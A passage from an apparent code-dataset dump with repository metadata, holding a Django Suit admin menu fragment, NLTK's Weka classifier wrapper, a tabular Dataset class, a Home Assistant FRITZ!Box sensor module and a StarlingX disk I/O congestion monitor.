Plate ID''s', url=f'/{APP_NAME}/manage/id_generate/plateid/import/', permissions='id_generate.change_plateid', icon='fa fa-circle-o-notch'), ParentItem( label='Authorization', children=[ ChildItem('Staff', model='auth.user'), ChildItem(model='auth.group'), ChildItem(model='admin.logentry'), ], icon='fa fa-user-circle'), ParentItem( label='SOP and Request Sheet', use_first_child_url=False, url='', children=[ ChildItem('View JAX ID Request SOP', target_blank=True, url=f'{WIKI_URL}/Wet%20Lab%20SOPs/Forms/All.aspx?parent=1&id=%2Fsites%2FMicrobiomeCoreWiki%2FWet%20Lab%20SOPs%2FJAX%20ID%20Request%20SOP%2Edocx'), ChildItem('View JAX ID Request Template Sheet', url=f'{WIKI_URL}/Sample Sheet Templates/Forms/All.aspx?parent=1&id=%2Fsites%2FMicrobiomeCoreWiki%2FSample Sheet Templates%2FJAX ID Request Template Sample Sheet.xlsx'), ], icon='fa fa-file'), ) # menu_handler = None menu_show_home = False # Show changelist top actions only if any row is selected toggle_changelist_top_actions = False # # Enables two column layout for change forms with submit row on the right form_submit_on_right = False # Hide name/"original" column for all tabular inlines. # May be overridden in Inline class by suit_form_inlines_hide_original = False #form_inlines_hide_original = False form_size = { 'default': apps.SUIT_FORM_SIZE_LARGE, 'widgets': { 'AutosizedTextarea': apps.SUIT_FORM_SIZE_X_LARGE, 'Textarea': apps.SUIT_FORM_SIZE_X_LARGE, }, } # form_size setting can be overridden in ModelAdmin using suit_form_size parameter # # Example: # ---------------------------------------------- # suit_form_size = { # 'default': 'col-xs-12 col-sm-2', 'col-xs-12 col-sm-10', # 'fields': { # 'field_name': SUIT_FORM_SIZE_LARGE, # 'field_name2': SUIT_FORM_SIZE_X_LARGE, # }, # 'widgets': { # 'widget_class_name': SUIT_FORM_SIZE_FULL, # 'AdminTextareaWidget': SUIT_FORM_SIZE_FULL, # }, # 'fieldsets': { # 'fieldset_name': SUIT_FORM_SIZE_FULL, # 'fieldset_name2': SUIT_FORM_SIZE_FULL, # } # }

37.803279

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481

4,612

5.064449

0.370062

0.053366

0.054187

0.059113

0.245895

0.151067

0.108374

0.024631

0

0.011792

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4,612

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38.115702

0.786112

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0

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false

0

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0

0.25

0

null

0

null

0

1

0

869a42d471e5a0264cf98babfcdd88a6669b3cbc

12,970

py

Python

pkgs/nltk-3.2-py27_0/lib/python2.7/site-packages/nltk/classify/weka.py

wangyum/anaconda

6e5a0dbead3327661d73a61e85414cf92aa52be6

[ "Apache-2.0", "BSD-3-Clause" ]

null

pkgs/nltk-3.2-py27_0/lib/python2.7/site-packages/nltk/classify/weka.py

wangyum/anaconda

6e5a0dbead3327661d73a61e85414cf92aa52be6

[ "Apache-2.0", "BSD-3-Clause" ]

null

pkgs/nltk-3.2-py27_0/lib/python2.7/site-packages/nltk/classify/weka.py

wangyum/anaconda

6e5a0dbead3327661d73a61e85414cf92aa52be6

[ "Apache-2.0", "BSD-3-Clause" ]

null

# Natural Language Toolkit: Interface to Weka Classsifiers # # Copyright (C) 2001-2015 NLTK Project # Author: Edward Loper <edloper@gmail.com> # URL: <http://nltk.org/> # For license information, see LICENSE.TXT """ Classifiers that make use of the external 'Weka' package. """ from __future__ import print_function import time import tempfile import os import subprocess import re import zipfile from sys import stdin from nltk import compat from nltk.probability import DictionaryProbDist from nltk.internals import java, config_java from nltk.classify.api import ClassifierI _weka_classpath = None _weka_search = ['.', '/usr/share/weka', '/usr/local/share/weka', '/usr/lib/weka', '/usr/local/lib/weka',] def config_weka(classpath=None): global _weka_classpath # Make sure java's configured first. config_java() if classpath is not None: _weka_classpath = classpath if _weka_classpath is None: searchpath = _weka_search if 'WEKAHOME' in os.environ: searchpath.insert(0, os.environ['WEKAHOME']) for path in searchpath: if os.path.exists(os.path.join(path, 'weka.jar')): _weka_classpath = os.path.join(path, 'weka.jar') version = _check_weka_version(_weka_classpath) if version: print(('[Found Weka: %s (version %s)]' % (_weka_classpath, version))) else: print('[Found Weka: %s]' % _weka_classpath) _check_weka_version(_weka_classpath) if _weka_classpath is None: raise LookupError('Unable to find weka.jar! Use config_weka() ' 'or set the WEKAHOME environment variable. ' 'For more information about Weka, please see ' 'http://www.cs.waikato.ac.nz/ml/weka/') def _check_weka_version(jar): try: zf = zipfile.ZipFile(jar) except SystemExit as KeyboardInterrupt: raise except: return None try: try: return zf.read('weka/core/version.txt') except KeyError: return None finally: zf.close() class WekaClassifier(ClassifierI): def __init__(self, formatter, model_filename): self._formatter = formatter self._model = model_filename def prob_classify_many(self, featuresets): return self._classify_many(featuresets, ['-p', '0', '-distribution']) def classify_many(self, featuresets): return self._classify_many(featuresets, ['-p', '0']) def _classify_many(self, featuresets, options): # Make sure we can find java & weka. config_weka() temp_dir = tempfile.mkdtemp() try: # Write the test data file. test_filename = os.path.join(temp_dir, 'test.arff') self._formatter.write(test_filename, featuresets) # Call weka to classify the data. cmd = ['weka.classifiers.bayes.NaiveBayes', '-l', self._model, '-T', test_filename] + options (stdout, stderr) = java(cmd, classpath=_weka_classpath, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # Check if something went wrong: if stderr and not stdout: if 'Illegal options: -distribution' in stderr: raise ValueError('The installed version of weka does ' 'not support probability distribution ' 'output.') else: raise ValueError('Weka failed to generate output:\n%s' % stderr) # Parse weka's output. return self.parse_weka_output(stdout.decode(stdin.encoding).split('\n')) finally: for f in os.listdir(temp_dir): os.remove(os.path.join(temp_dir, f)) os.rmdir(temp_dir) def parse_weka_distribution(self, s): probs = [float(v) for v in re.split('[*,]+', s) if v.strip()] probs = dict(zip(self._formatter.labels(), probs)) return DictionaryProbDist(probs) def parse_weka_output(self, lines): # Strip unwanted text from stdout for i,line in enumerate(lines): if line.strip().startswith("inst#"): lines = lines[i:] break if lines[0].split() == ['inst#', 'actual', 'predicted', 'error', 'prediction']: return [line.split()[2].split(':')[1] for line in lines[1:] if line.strip()] elif lines[0].split() == ['inst#', 'actual', 'predicted', 'error', 'distribution']: return [self.parse_weka_distribution(line.split()[-1]) for line in lines[1:] if line.strip()] # is this safe:? elif re.match(r'^0 \w+ [01]\.[0-9]* \?\s*$', lines[0]): return [line.split()[1] for line in lines if line.strip()] else: for line in lines[:10]: print(line) raise ValueError('Unhandled output format -- your version ' 'of weka may not be supported.\n' ' Header: %s' % lines[0]) # [xx] full list of classifiers (some may be abstract?): # ADTree, AODE, BayesNet, ComplementNaiveBayes, ConjunctiveRule, # DecisionStump, DecisionTable, HyperPipes, IB1, IBk, Id3, J48, # JRip, KStar, LBR, LeastMedSq, LinearRegression, LMT, Logistic, # LogisticBase, M5Base, MultilayerPerceptron, # MultipleClassifiersCombiner, NaiveBayes, NaiveBayesMultinomial, # NaiveBayesSimple, NBTree, NNge, OneR, PaceRegression, PART, # PreConstructedLinearModel, Prism, RandomForest, # RandomizableClassifier, RandomTree, RBFNetwork, REPTree, Ridor, # RuleNode, SimpleLinearRegression, SimpleLogistic, # SingleClassifierEnhancer, SMO, SMOreg, UserClassifier, VFI, # VotedPerceptron, Winnow, ZeroR _CLASSIFIER_CLASS = { 'naivebayes': 'weka.classifiers.bayes.NaiveBayes', 'C4.5': 'weka.classifiers.trees.J48', 'log_regression': 'weka.classifiers.functions.Logistic', 'svm': 'weka.classifiers.functions.SMO', 'kstar': 'weka.classifiers.lazy.KStar', 'ripper': 'weka.classifiers.rules.JRip', } @classmethod def train(cls, model_filename, featuresets, classifier='naivebayes', options=[], quiet=True): # Make sure we can find java & weka. config_weka() # Build an ARFF formatter. formatter = ARFF_Formatter.from_train(featuresets) temp_dir = tempfile.mkdtemp() try: # Write the training data file. train_filename = os.path.join(temp_dir, 'train.arff') formatter.write(train_filename, featuresets) if classifier in cls._CLASSIFIER_CLASS: javaclass = cls._CLASSIFIER_CLASS[classifier] elif classifier in cls._CLASSIFIER_CLASS.values(): javaclass = classifier else: raise ValueError('Unknown classifier %s' % classifier) # Train the weka model. cmd = [javaclass, '-d', model_filename, '-t', train_filename] cmd += list(options) if quiet: stdout = subprocess.PIPE else: stdout = None java(cmd, classpath=_weka_classpath, stdout=stdout) # Return the new classifier. return WekaClassifier(formatter, model_filename) finally: for f in os.listdir(temp_dir): os.remove(os.path.join(temp_dir, f)) os.rmdir(temp_dir) class ARFF_Formatter: """ Converts featuresets and labeled featuresets to ARFF-formatted strings, appropriate for input into Weka. Features and classes can be specified manually in the constructor, or may be determined from data using ``from_train``. """ def __init__(self, labels, features): """ :param labels: A list of all class labels that can be generated. :param features: A list of feature specifications, where each feature specification is a tuple (fname, ftype); and ftype is an ARFF type string such as NUMERIC or STRING. """ self._labels = labels self._features = features def format(self, tokens): """Returns a string representation of ARFF output for the given data.""" return self.header_section() + self.data_section(tokens) def labels(self): """Returns the list of classes.""" return list(self._labels) def write(self, outfile, tokens): """Writes ARFF data to a file for the given data.""" if not hasattr(outfile, 'write'): outfile = open(outfile, 'w') outfile.write(self.format(tokens)) outfile.close() @staticmethod def from_train(tokens): """ Constructs an ARFF_Formatter instance with class labels and feature types determined from the given data. Handles boolean, numeric and string (note: not nominal) types. """ # Find the set of all attested labels. labels = set(label for (tok, label) in tokens) # Determine the types of all features. features = {} for tok, label in tokens: for (fname, fval) in tok.items(): if issubclass(type(fval), bool): ftype = '{True, False}' elif issubclass(type(fval), (compat.integer_types, float, bool)): ftype = 'NUMERIC' elif issubclass(type(fval), compat.string_types): ftype = 'STRING' elif fval is None: continue # can't tell the type. else: raise ValueError('Unsupported value type %r' % ftype) if features.get(fname, ftype) != ftype: raise ValueError('Inconsistent type for %s' % fname) features[fname] = ftype features = sorted(features.items()) return ARFF_Formatter(labels, features) def header_section(self): """Returns an ARFF header as a string.""" # Header comment. s = ('% Weka ARFF file\n' + '% Generated automatically by NLTK\n' + '%% %s\n\n' % time.ctime()) # Relation name s += '@RELATION rel\n\n' # Input attribute specifications for fname, ftype in self._features: s += '@ATTRIBUTE %-30r %s\n' % (fname, ftype) # Label attribute specification s += '@ATTRIBUTE %-30r {%s}\n' % ('-label-', ','.join(self._labels)) return s def data_section(self, tokens, labeled=None): """ Returns the ARFF data section for the given data. :param tokens: a list of featuresets (dicts) or labelled featuresets which are tuples (featureset, label). :param labeled: Indicates whether the given tokens are labeled or not. If None, then the tokens will be assumed to be labeled if the first token's value is a tuple or list. """ # Check if the tokens are labeled or unlabeled. If unlabeled, # then use 'None' if labeled is None: labeled = tokens and isinstance(tokens[0], (tuple, list)) if not labeled: tokens = [(tok, None) for tok in tokens] # Data section s = '\n@DATA\n' for (tok, label) in tokens: for fname, ftype in self._features: s += '%s,' % self._fmt_arff_val(tok.get(fname)) s += '%s\n' % self._fmt_arff_val(label) return s def _fmt_arff_val(self, fval): if fval is None: return '?' elif isinstance(fval, (bool, compat.integer_types)): return '%s' % fval elif isinstance(fval, float): return '%r' % fval else: return '%r' % fval if __name__ == '__main__': from nltk.classify.util import names_demo, binary_names_demo_features def make_classifier(featuresets): return WekaClassifier.train('/tmp/name.model', featuresets, 'C4.5') classifier = names_demo(make_classifier, binary_names_demo_features)

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null

0

null

0

1

0

869a8a31a260884a519f22c5d9a29b22876f051f

5,502

py

Python

src/si/data/dataset.py

pg428/SIB

b887c2011eb3a04d119a93b3932785d182e331d3

[ "Apache-2.0" ]

null

src/si/data/dataset.py

pg428/SIB

b887c2011eb3a04d119a93b3932785d182e331d3

[ "Apache-2.0" ]

null

src/si/data/dataset.py

pg428/SIB

b887c2011eb3a04d119a93b3932785d182e331d3

[ "Apache-2.0" ]

null

import pandas as pd import numpy as np from src.si.util.util import label_gen __all__ = ['Dataset'] class Dataset: def __init__(self, X=None, Y=None, xnames: list = None, yname: str = None): """ Tabular Dataset""" if X is None: raise Exception("Trying to instanciate a DataSet without any data") self.X = X self.Y = Y self.xnames = xnames if xnames else label_gen(X.shape[1]) self.yname = yname if yname else 'Y' @classmethod def from_data(cls, filename, sep=",", labeled=True): """Creates a DataSet from a data file. :param filename: The filename :type filename: str :param sep: attributes separator, defaults to "," :type sep: str, optional :return: A DataSet object :rtype: DataSet """ data = np.genfromtxt(filename, delimiter=sep) if labeled: X = data[:, 0:-1] Y = data[:, -1] else: X = data Y = None return cls(X, Y) @classmethod def from_dataframe(cls, df, ylabel=None): """Creates a DataSet from a pandas dataframe. :param df: [description] :type df: [type] :param ylabel: [description], defaults to None :type ylabel: [type], optional :return: [description] :rtype: [type] """ if ylabel and ylabel in df.columns: X = df.loc[:, df.columns != ylabel].to_numpy() #transforma num array de numpy Y = df.loc[:, ylabel].to_numpy() # xnames = df.columns.tolist().remove(ylabel) yname = ylabel xnames = df.columns.tolist() for name in xnames: if name == yname: xnames.remove(yname) else: X = df.to_numpy() Y = None xnames = df.columns.tolist() yname = None return cls(X, Y, xnames, yname) def __len__(self): """Returns the number of data points.""" return self.X.shape[0] def hasLabel(self): """Returns True if the dataset constains labels (a dependent variable)""" return self.Y is not None def getNumFeatures(self): """Returns the number of features""" return self.X.shape[1] def getNumClasses(self): """Returns the number of label classes or 0 if the dataset has no dependent variable.""" return len(np.unique(self.Y)) if self.hasLabel() else 0 def writeDataset(self, filename, sep=","): """Saves the dataset to a file :param filename: The output file path :type filename: str :param sep: The fields separator, defaults to "," :type sep: str, optional """ fullds = np.hstack((self.X, self.Y.reshape(len(self.Y), 1))) np.savetxt(filename, fullds, delimiter=sep) def toDataframe(self): """ Converts the dataset into a pandas DataFrame""" if self.hasLabel(): df = pd.DataFrame(np.hstack((self.X, self.Y.reshape(len(self.Y), 1))), columns=self.xnames[:]+[self.yname]) #columns=np.hstack((self.xnames, self.yname))) else: df = pd.DataFrame(self.X.copy(), columns=self.xnames[:]) return df def getXy(self): return self.X, self.Y def summary(dataset, format='df'): """ Returns the statistics of a dataset(mean, std, max, min) :param dataset: A Dataset object :type dataset: si.data.Dataset :param format: Output format ('df':DataFrame, 'dict':dictionary ), defaults to 'df' :type format: str, optional """ if format not in ["df", "dict"]: raise Exception("Invalid format. Choose between 'df' and 'dict'.") if dataset.hasLabel(): data = np.hstack((dataset.X, dataset.Y.reshape(len(dataset.Y), 1))) #data = np.hstack([dataset.X, np.reshape(dataset.Y, (-1, 1))]) columns = dataset.xnames[:] + [dataset.yname] else: data = dataset.X columns = dataset.xnames[:] stats = {} if type(dataset.Y[0]) is str: for i in range(data.shape[1]-1): #ve colunas _means = np.mean(data[:, i], axis=0) _vars = np.var(data[:, i], axis=0) _maxs = np.max(data[:, i], axis=0) _mins = np.min(data[:, i], axis=0) stat = {"mean": _means, "var": _vars, "max": _maxs, "min": _mins } stats[columns[i]] = stat else: for i in range(data.shape[1]): # ve colunas _means = np.mean(data[:, i], axis=0) _vars = np.var(data[:, i], axis=0) _maxs = np.max(data[:, i], axis=0) _mins = np.min(data[:, i], axis=0) stat = {"mean": _means, "var": _vars, "max": _maxs, "min": _mins } stats[columns[i]] = stat # _means = np.mean(data, axis=0) # _vars = np.var(data, axis=0) # _maxs = np.max(data, axis=0) # _mins = np.min(data, axis=0) # stats = {} # for i in range(data.shape[1]): # stat = {"mean": _means[i], # "var": _vars[i], # "max": _maxs[i], # "min": _mins[i] # } # stats[columns[i]] = stat if format == "dict": return stats else: return pd.DataFrame(stats)

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null

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null

0

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0

869e135c2c869c0e98bb08d38ef8fc9d0c3c1530

11,744

py

Python

homeassistant/components/fritz/sensor.py

EuleMitKeule/core

3af54d96c7dcc3f7087d1196e6ab0db029301ee7

[ "Apache-2.0" ]

3

2022-02-18T14:03:39.000Z

2022-03-26T20:26:55.000Z

homeassistant/components/fritz/sensor.py

EuleMitKeule/core

3af54d96c7dcc3f7087d1196e6ab0db029301ee7

[ "Apache-2.0" ]

74

2020-08-05T07:20:27.000Z

2022-03-23T12:47:28.000Z

homeassistant/components/fritz/sensor.py

marecabo/home-assistant

e33774a61e7fcc88aff752dfa4618dd26a746872

[ "Apache-2.0" ]

2

2020-06-06T21:55:32.000Z

2022-03-06T04:18:21.000Z

"""AVM FRITZ!Box binary sensors.""" from __future__ import annotations from collections.abc import Callable from dataclasses import dataclass from datetime import datetime, timedelta import logging from typing import Any, Literal from fritzconnection.core.exceptions import ( FritzActionError, FritzActionFailedError, FritzConnectionException, FritzInternalError, FritzServiceError, ) from fritzconnection.lib.fritzstatus import FritzStatus from homeassistant.components.sensor import ( STATE_CLASS_MEASUREMENT, STATE_CLASS_TOTAL_INCREASING, SensorEntity, SensorEntityDescription, ) from homeassistant.config_entries import ConfigEntry from homeassistant.const import ( DATA_GIGABYTES, DATA_RATE_KILOBITS_PER_SECOND, DATA_RATE_KILOBYTES_PER_SECOND, DEVICE_CLASS_TIMESTAMP, ENTITY_CATEGORY_DIAGNOSTIC, SIGNAL_STRENGTH_DECIBELS, ) from homeassistant.core import HomeAssistant from homeassistant.helpers.entity_platform import AddEntitiesCallback from homeassistant.util.dt import utcnow from .common import FritzBoxBaseEntity, FritzBoxTools from .const import DOMAIN, DSL_CONNECTION, UPTIME_DEVIATION _LOGGER = logging.getLogger(__name__) def _uptime_calculation(seconds_uptime: float, last_value: datetime | None) -> datetime: """Calculate uptime with deviation.""" delta_uptime = utcnow() - timedelta(seconds=seconds_uptime) if ( not last_value or abs((delta_uptime - last_value).total_seconds()) > UPTIME_DEVIATION ): return delta_uptime return last_value def _retrieve_device_uptime_state( status: FritzStatus, last_value: datetime ) -> datetime: """Return uptime from device.""" return _uptime_calculation(status.device_uptime, last_value) def _retrieve_connection_uptime_state( status: FritzStatus, last_value: datetime | None ) -> datetime: """Return uptime from connection.""" return _uptime_calculation(status.connection_uptime, last_value) def _retrieve_external_ip_state(status: FritzStatus, last_value: str) -> str: """Return external ip from device.""" return status.external_ip # type: ignore[no-any-return] def _retrieve_kb_s_sent_state(status: FritzStatus, last_value: str) -> float: """Return upload transmission rate.""" return round(status.transmission_rate[0] / 1000, 1) # type: ignore[no-any-return] def _retrieve_kb_s_received_state(status: FritzStatus, last_value: str) -> float: """Return download transmission rate.""" return round(status.transmission_rate[1] / 1000, 1) # type: ignore[no-any-return] def _retrieve_max_kb_s_sent_state(status: FritzStatus, last_value: str) -> float: """Return upload max transmission rate.""" return round(status.max_bit_rate[0] / 1000, 1) # type: ignore[no-any-return] def _retrieve_max_kb_s_received_state(status: FritzStatus, last_value: str) -> float: """Return download max transmission rate.""" return round(status.max_bit_rate[1] / 1000, 1) # type: ignore[no-any-return] def _retrieve_gb_sent_state(status: FritzStatus, last_value: str) -> float: """Return upload total data.""" return round(status.bytes_sent / 1000 / 1000 / 1000, 1) # type: ignore[no-any-return] def _retrieve_gb_received_state(status: FritzStatus, last_value: str) -> float: """Return download total data.""" return round(status.bytes_received / 1000 / 1000 / 1000, 1) # type: ignore[no-any-return] def _retrieve_link_kb_s_sent_state(status: FritzStatus, last_value: str) -> float: """Return upload link rate.""" return round(status.max_linked_bit_rate[0] / 1000, 1) # type: ignore[no-any-return] def _retrieve_link_kb_s_received_state(status: FritzStatus, last_value: str) -> float: """Return download link rate.""" return round(status.max_linked_bit_rate[1] / 1000, 1) # type: ignore[no-any-return] def _retrieve_link_noise_margin_sent_state( status: FritzStatus, last_value: str ) -> float: """Return upload noise margin.""" return status.noise_margin[0] / 10 # type: ignore[no-any-return] def _retrieve_link_noise_margin_received_state( status: FritzStatus, last_value: str ) -> float: """Return download noise margin.""" return status.noise_margin[1] / 10 # type: ignore[no-any-return] def _retrieve_link_attenuation_sent_state( status: FritzStatus, last_value: str ) -> float: """Return upload line attenuation.""" return status.attenuation[0] / 10 # type: ignore[no-any-return] def _retrieve_link_attenuation_received_state( status: FritzStatus, last_value: str ) -> float: """Return download line attenuation.""" return status.attenuation[1] / 10 # type: ignore[no-any-return] @dataclass class FritzRequireKeysMixin: """Fritz sensor data class.""" value_fn: Callable[[FritzStatus, Any], Any] @dataclass class FritzSensorEntityDescription(SensorEntityDescription, FritzRequireKeysMixin): """Describes Fritz sensor entity.""" connection_type: Literal["dsl"] | None = None SENSOR_TYPES: tuple[FritzSensorEntityDescription, ...] = ( FritzSensorEntityDescription( key="external_ip", name="External IP", icon="mdi:earth", value_fn=_retrieve_external_ip_state, ), FritzSensorEntityDescription( key="device_uptime", name="Device Uptime", device_class=DEVICE_CLASS_TIMESTAMP, entity_category=ENTITY_CATEGORY_DIAGNOSTIC, value_fn=_retrieve_device_uptime_state, ), FritzSensorEntityDescription( key="connection_uptime", name="Connection Uptime", device_class=DEVICE_CLASS_TIMESTAMP, entity_category=ENTITY_CATEGORY_DIAGNOSTIC, value_fn=_retrieve_connection_uptime_state, ), FritzSensorEntityDescription( key="kb_s_sent", name="Upload Throughput", state_class=STATE_CLASS_MEASUREMENT, native_unit_of_measurement=DATA_RATE_KILOBYTES_PER_SECOND, icon="mdi:upload", value_fn=_retrieve_kb_s_sent_state, ), FritzSensorEntityDescription( key="kb_s_received", name="Download Throughput", state_class=STATE_CLASS_MEASUREMENT, native_unit_of_measurement=DATA_RATE_KILOBYTES_PER_SECOND, icon="mdi:download", value_fn=_retrieve_kb_s_received_state, ), FritzSensorEntityDescription( key="max_kb_s_sent", name="Max Connection Upload Throughput", native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND, icon="mdi:upload", entity_category=ENTITY_CATEGORY_DIAGNOSTIC, value_fn=_retrieve_max_kb_s_sent_state, ), FritzSensorEntityDescription( key="max_kb_s_received", name="Max Connection Download Throughput", native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND, icon="mdi:download", entity_category=ENTITY_CATEGORY_DIAGNOSTIC, value_fn=_retrieve_max_kb_s_received_state, ), FritzSensorEntityDescription( key="gb_sent", name="GB sent", state_class=STATE_CLASS_TOTAL_INCREASING, native_unit_of_measurement=DATA_GIGABYTES, icon="mdi:upload", value_fn=_retrieve_gb_sent_state, ), FritzSensorEntityDescription( key="gb_received", name="GB received", state_class=STATE_CLASS_TOTAL_INCREASING, native_unit_of_measurement=DATA_GIGABYTES, icon="mdi:download", value_fn=_retrieve_gb_received_state, ), FritzSensorEntityDescription( key="link_kb_s_sent", name="Link Upload Throughput", native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND, icon="mdi:upload", value_fn=_retrieve_link_kb_s_sent_state, connection_type=DSL_CONNECTION, ), FritzSensorEntityDescription( key="link_kb_s_received", name="Link Download Throughput", native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND, icon="mdi:download", value_fn=_retrieve_link_kb_s_received_state, connection_type=DSL_CONNECTION, ), FritzSensorEntityDescription( key="link_noise_margin_sent", name="Link Upload Noise Margin", native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS, icon="mdi:upload", value_fn=_retrieve_link_noise_margin_sent_state, connection_type=DSL_CONNECTION, ), FritzSensorEntityDescription( key="link_noise_margin_received", name="Link Download Noise Margin", native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS, icon="mdi:download", value_fn=_retrieve_link_noise_margin_received_state, connection_type=DSL_CONNECTION, ), FritzSensorEntityDescription( key="link_attenuation_sent", name="Link Upload Power Attenuation", native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS, icon="mdi:upload", value_fn=_retrieve_link_attenuation_sent_state, connection_type=DSL_CONNECTION, ), FritzSensorEntityDescription( key="link_attenuation_received", name="Link Download Power Attenuation", native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS, icon="mdi:download", value_fn=_retrieve_link_attenuation_received_state, connection_type=DSL_CONNECTION, ), ) async def async_setup_entry( hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback ) -> None: """Set up entry.""" _LOGGER.debug("Setting up FRITZ!Box sensors") fritzbox_tools: FritzBoxTools = hass.data[DOMAIN][entry.entry_id] if ( not fritzbox_tools.connection or "WANIPConn1" not in fritzbox_tools.connection.services ): # Only routers are supported at the moment return dsl: bool = False try: dslinterface = await hass.async_add_executor_job( fritzbox_tools.connection.call_action, "WANDSLInterfaceConfig:1", "GetInfo", ) dsl = dslinterface["NewEnable"] except ( FritzInternalError, FritzActionError, FritzActionFailedError, FritzServiceError, ): pass entities = [ FritzBoxSensor(fritzbox_tools, entry.title, description) for description in SENSOR_TYPES if dsl or description.connection_type != DSL_CONNECTION ] async_add_entities(entities, True) class FritzBoxSensor(FritzBoxBaseEntity, SensorEntity): """Define FRITZ!Box connectivity class.""" entity_description: FritzSensorEntityDescription def __init__( self, fritzbox_tools: FritzBoxTools, device_friendly_name: str, description: FritzSensorEntityDescription, ) -> None: """Init FRITZ!Box connectivity class.""" self.entity_description = description self._last_device_value: str | None = None self._attr_available = True self._attr_name = f"{device_friendly_name} {description.name}" self._attr_unique_id = f"{fritzbox_tools.unique_id}-{description.key}" super().__init__(fritzbox_tools, device_friendly_name) def update(self) -> None: """Update data.""" _LOGGER.debug("Updating FRITZ!Box sensors") try: status: FritzStatus = self._fritzbox_tools.fritz_status self._attr_available = True except FritzConnectionException: _LOGGER.error("Error getting the state from the FRITZ!Box", exc_info=True) self._attr_available = False return self._attr_native_value = ( self._last_device_value ) = self.entity_description.value_fn(status, self._last_device_value)

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null

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null

0

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869e8784f6deaecfb703cc98502b159dc7530a96

5,330

py

Python

middleware/io-monitor/recipes-common/io-monitor/io-monitor/io_monitor/utils/data_collector.py

xe1gyq/stx-utils

93b7f7dc2c6732db8c8ae0eb3f52ace4df714dc9

[ "Apache-2.0" ]

null

middleware/io-monitor/recipes-common/io-monitor/io-monitor/io_monitor/utils/data_collector.py

xe1gyq/stx-utils

93b7f7dc2c6732db8c8ae0eb3f52ace4df714dc9

[ "Apache-2.0" ]

null

middleware/io-monitor/recipes-common/io-monitor/io-monitor/io_monitor/utils/data_collector.py

xe1gyq/stx-utils

93b7f7dc2c6732db8c8ae0eb3f52ace4df714dc9

[ "Apache-2.0" ]

null

# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright (c) 2016 Wind River Systems, Inc. # # SPDX-License-Identifier: Apache-2.0 # import logging import os from io_monitor.constants import DOMAIN from io_monitor.utils.data_window import DataCollectionWindow LOG = logging.getLogger(DOMAIN) class DeviceDataCollector(object): # Moving average windows MA_WINDOW_SMA = 0 MA_WINDOW_MED = 1 MA_WINDOW_LAR = 2 # Device status STATUS_NORMAL = "N" STATUS_BUILDING = "B" STATUS_CONGESTED = "L" # Data tracked DATA_IOPS = "iops" DATA_AWAIT = "await" def __init__(self, device_node, data_elements, size_sma, size_med, size_lar): self.node = device_node if os.path.exists('/sys/block/' + self.node + '/dm/name'): self.name = open('/sys/block/' + self.node + '/dm/name', 'r').read().rstrip() else: self.name = self.node self.data_dict = {} self.data_caps = {self.DATA_AWAIT: -1, self.DATA_IOPS: -1} self.timestamp = None self.congestion_status = self.STATUS_NORMAL self.congestion_await_minimal_spike = -1 self.congestion_await_sustained = -1 for element in data_elements: self.data_dict.update({element: [ DataCollectionWindow(size_sma, stuck_data_override=True), DataCollectionWindow(size_med, stuck_data_override=True), DataCollectionWindow(size_lar, stuck_data_override=True)]}) def update_congestion_status(self): # Bail if threshold is not set if self.congestion_await_sustained == -1: return ma_sma = self.get_average(self.DATA_AWAIT, self.MA_WINDOW_SMA) ma_med = self.get_average(self.DATA_AWAIT, self.MA_WINDOW_MED) ma_lar = self.get_average(self.DATA_AWAIT, self.MA_WINDOW_LAR) # Set the congestion status based on await moving average if self.congestion_status is self.STATUS_NORMAL: if ma_sma > self.congestion_await_sustained: self.congestion_status = self.STATUS_BUILDING if self.congestion_status is self.STATUS_BUILDING: if ma_lar > self.congestion_await_sustained: self.congestion_status = self.STATUS_CONGESTED LOG.warn("Node %s (%s) is experiencing high await times." % (self.node, self.name)) elif ma_sma < self.congestion_await_sustained: self.congestion_status = self.STATUS_NORMAL if self.congestion_status is self.STATUS_CONGESTED: if ma_med < self.congestion_await_sustained: self.congestion_status = self.STATUS_BUILDING def update_data(self, ts, element, value): self.timestamp = ts # LOG.debug("%s: e = %s, v= %f" % (self.node, element, value)) for w in [self.MA_WINDOW_SMA, self.MA_WINDOW_MED, self.MA_WINDOW_LAR]: self.data_dict[element][w].update(value, self.data_caps[element]) def get_latest(self, element): if element not in self.data_dict: LOG.error("Error: invalid element requested = %s" % element) return 0 return self.data_dict[element][self.MA_WINDOW_SMA].get_latest() def get_average(self, element, window): if window not in [self.MA_WINDOW_SMA, self.MA_WINDOW_MED, self.MA_WINDOW_LAR]: LOG.error("WindowError: invalid window requested = %s" % window) return 0 if element not in self.data_dict: LOG.error("Error: invalid element requested = %s" % element) return 0 return self.data_dict[element][window].get_average() def is_data_stale(self, ts): return not (ts == self.timestamp) def get_congestion_status(self, debug=False): if debug: ma_sma = self.get_average(self.DATA_AWAIT, self.MA_WINDOW_SMA) ma_med = self.get_average(self.DATA_AWAIT, self.MA_WINDOW_MED) ma_lar = self.get_average(self.DATA_AWAIT, self.MA_WINDOW_LAR) LOG.debug("%s [ %6.2f %6.2f %6.2f ] %d" % (self.node, ma_sma, ma_med, ma_lar, self.congestion_await_sustained)) return self.congestion_status def set_data_caps(self, element, cap): if element in self.data_caps: self.data_caps[element] = cap def set_congestion_thresholds(self, await_minimal_spike, await_sustained_congestion): self.congestion_await_minimal_spike = await_minimal_spike self.congestion_await_sustained = await_sustained_congestion def get_element_windows_avg_list(self, element): return [self.get_average(element, self.MA_WINDOW_SMA), self.get_average(element, self.MA_WINDOW_MED), self.get_average(element, self.MA_WINDOW_LAR)] def get_element_windows_avg_string(self, element): return "%s [ %9.2f, %9.2f, %9.2f ]" % ( element, self.get_average(element, self.MA_WINDOW_SMA), self.get_average(element, self.MA_WINDOW_MED), self.get_average(element, self.MA_WINDOW_LAR))

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5,330

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0.336634

0

null

0

null

0

1

0

869e8ff896779ff36d9b024ced2d268e80c7682a

19,793

py

Python

examples/language-modeling/debias_lm_hps_tune.py

SoumyaBarikeri/transformers

996c6e113404000f50444287aa8a31a174ebd92f

[ "Apache-2.0" ]

1

